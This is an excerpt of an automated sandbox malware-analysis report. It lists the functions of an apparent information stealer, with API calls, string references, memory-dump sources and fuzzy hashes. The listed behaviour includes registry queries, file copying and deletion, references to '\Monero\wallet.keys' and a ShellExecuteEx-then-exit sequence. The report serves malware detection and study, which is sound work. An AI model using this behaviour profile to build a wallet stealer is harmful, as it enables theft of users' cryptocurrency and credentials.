Instruction Fuzzy Hash: 38113DB6A84305ABD710CF98DD49FABBBFCEB05710F104199F605E7280DB7458018BA1

Function 00B19260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(011FD8B0,?,?,?,00B1140C,?,011FD8B0,00000000), ref: 00B1926C
lstrcpyn.KERNEL32(00D4AB88,011FD8B0,011FD8B0,?,00B1140C,?,011FD8B0), ref: 00B19290
lstrlen.KERNEL32(?,?,00B1140C,?,011FD8B0), ref: 00B192A7
wsprintfA.USER32 ref: 00B192C7

Strings

%s%s, xrefs: 00B192B5

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 3c99a2306b15ae6a59ff727b323a82f268ede0f452704523b9e54ba0291e0519
Instruction ID: 34f770ee2d24f9c4ceee603e69f80c7c25bbe9dd29aab6dc9a7c3fe69fbeb065
Opcode Fuzzy Hash: 3c99a2306b15ae6a59ff727b323a82f268ede0f452704523b9e54ba0291e0519
Instruction Fuzzy Hash: BB011E75540208FFCB04DFECC994EAE7BB9EF44354F108148F9498B304C631AA40DBA1

Function 00B012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B012B4
RtlAllocateHeap.NTDLL(00000000), ref: 00B012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00B012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B012F5
RegCloseKey.ADVAPI32(?), ref: 00B012FF

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 6f49af939af380145631702f5f70addfffc28af504652e162f06778906bbc14c
Instruction ID: db43cd5cb786b22e8b1ba0401823cd63ec2dec5875535e9f7c9b0c8433aa20bb
Opcode Fuzzy Hash: 6f49af939af380145631702f5f70addfffc28af504652e162f06778906bbc14c
Instruction Fuzzy Hash: 9701E1B9A40308BBDB14DFE4DC49FAEB7BCEB48705F108159FA05D7280D6759A018F61

Function 00B1C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00B1C8EC
___crtLCMapStringA.LIBCMT ref: 00B1C90C
___crtLCMapStringA.LIBCMT ref: 00B1C931

Strings

, xrefs: 00B1C896

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: a18dc697bd2fd42eff389578d8059fb4cc4cda773e8c09375236581b4b10ad8c
Instruction ID: eb5253c89ef1407a887173fdcb7080459f22d2bbf802082b30182edc37a7b03a
Opcode Fuzzy Hash: a18dc697bd2fd42eff389578d8059fb4cc4cda773e8c09375236581b4b10ad8c
Instruction Fuzzy Hash: B341F67154075C5EDB228B248C84FFB7FF8DF45744F9444E8E98A86182D2719A84CF64

Function 00B16630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B16663

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B16726
ExitProcess.KERNEL32 ref: 00B16755

Strings

<, xrefs: 00B166D9

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 95b9d9197f09d5b607147410671ded54f84ca3356ed01efd26a7daa4755f0143
Instruction ID: 8371e34260a645b0dfd9a22bdbf32c4f90e05079218979da9775bbf633d9c8af
Opcode Fuzzy Hash: 95b9d9197f09d5b607147410671ded54f84ca3356ed01efd26a7daa4755f0143
Instruction Fuzzy Hash: 75312FB1C01218ABDB14EF54DD91FDE77B8AF04310F805189F209A6191DF746B89CFA6

Function 00B187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B20E28,00000000,?), ref: 00B1882F
RtlAllocateHeap.NTDLL(00000000), ref: 00B18836
wsprintfA.USER32 ref: 00B18850

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Strings

%dx%d, xrefs: 00B18847

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 7cd9aef5bb63d28dac76d10aa509022b24cf557d3617f684b8d33b354f6ba8d2
Instruction ID: 247aefffd1fdb02932649c474c5145226fe577fcae2509847fc67621120ec729
Opcode Fuzzy Hash: 7cd9aef5bb63d28dac76d10aa509022b24cf557d3617f684b8d33b354f6ba8d2
Instruction Fuzzy Hash: AB211AB5A80308ABDB14DF98DD49FAEBBB8FB49711F104159F605E7390C779A9008BA1

Function 00B18D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B1951E,00000000), ref: 00B18D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00B18D62
wsprintfW.USER32 ref: 00B18D78

Strings

%hs, xrefs: 00B18D6F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 8029aaafd2f99642a57ba77ea342f85c0e1b9b99fc8d055a9a2f809910a98ae8
Instruction ID: 41c775f97cebae6e877b9e45ad7f3619a1f6ecc49bcf51598e928fd8d7c2ca6c
Opcode Fuzzy Hash: 8029aaafd2f99642a57ba77ea342f85c0e1b9b99fc8d055a9a2f809910a98ae8
Instruction Fuzzy Hash: 6EE0E675A90308BBD710DF98DD09E5977B8EB45701F004195FD09D7350D9715E109F66

Function 00B0A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B18B60: GetSystemTime.KERNEL32(00B20E1A,011FA058,00B205AE,?,?,00B013F9,?,0000001A,00B20E1A,00000000,?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B18B86

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B0A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00B0A3FF
lstrlen.KERNEL32(00000000), ref: 00B0A6BC

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

DeleteFileA.KERNEL32(00000000), ref: 00B0A743

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8473239962e06cfc783101326b379a8bd1f83b4a18a34ad325b4eb839d3c735d
Instruction ID: da3ca989440cd7e2813cb850c236dbfae46319bf67e9cd11637c7922253efa14
Opcode Fuzzy Hash: 8473239962e06cfc783101326b379a8bd1f83b4a18a34ad325b4eb839d3c735d
Instruction Fuzzy Hash: FFE1F5728111189BDB05FBA4DD91EEE737CAF14310F908599F516B6091EF307A8ACB72

Function 00B0D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B18B60: GetSystemTime.KERNEL32(00B20E1A,011FA058,00B205AE,?,?,00B013F9,?,0000001A,00B20E1A,00000000,?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B18B86

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B0D481
lstrlen.KERNEL32(00000000), ref: 00B0D698
lstrlen.KERNEL32(00000000), ref: 00B0D6AC
DeleteFileA.KERNEL32(00000000), ref: 00B0D72B

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 016bfe36e2432919d864114882b3d8bae19a552a05bbf8d7d58f51021fd5928b
Instruction ID: 6fff990be55d8a818484e3cc15bf971cacaef2641e02a1bfeef4d56fa58c9582
Opcode Fuzzy Hash: 016bfe36e2432919d864114882b3d8bae19a552a05bbf8d7d58f51021fd5928b
Instruction Fuzzy Hash: 329111728111089BDB04FBA4DD96DEE73B8AF14310F9041A9F517B6191EF347A8ACB72

Function 00B0D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B18B60: GetSystemTime.KERNEL32(00B20E1A,011FA058,00B205AE,?,?,00B013F9,?,0000001A,00B20E1A,00000000,?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B18B86

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B0D801
lstrlen.KERNEL32(00000000), ref: 00B0D99F
lstrlen.KERNEL32(00000000), ref: 00B0D9B3
DeleteFileA.KERNEL32(00000000), ref: 00B0DA32

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 40ddbae08389eff940f04e709a8bf6125b589ea9107f121e6b77fac2a61ab910
Instruction ID: fd8366b6cff4aef7bdc975bc7578b4ddbe50f94fda09f69c480fa21517a326e4
Opcode Fuzzy Hash: 40ddbae08389eff940f04e709a8bf6125b589ea9107f121e6b77fac2a61ab910
Instruction Fuzzy Hash: CB8121729111089BCB04FBA4DD96DEE73B8AF14310F8045A9F507B6191EF347A8ACB72

Function 00B13560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 953de6e220bfc5563d585ffb9acea5e75b123e5e7713d8f299b4fa18b8970984
Instruction ID: 37de0902b0e5657caeafd7cd3f3ea11b8f51edb292bab8f3c0a94a613bea230d
Opcode Fuzzy Hash: 953de6e220bfc5563d585ffb9acea5e75b123e5e7713d8f299b4fa18b8970984
Instruction Fuzzy Hash: 994160B1D14209AFCB04EFA4D985AEEB7F8EF54704F448058E41677291EB34AA85CFA1

Function 00B09CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B099EC
Part of subcall function 00B099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B09A11
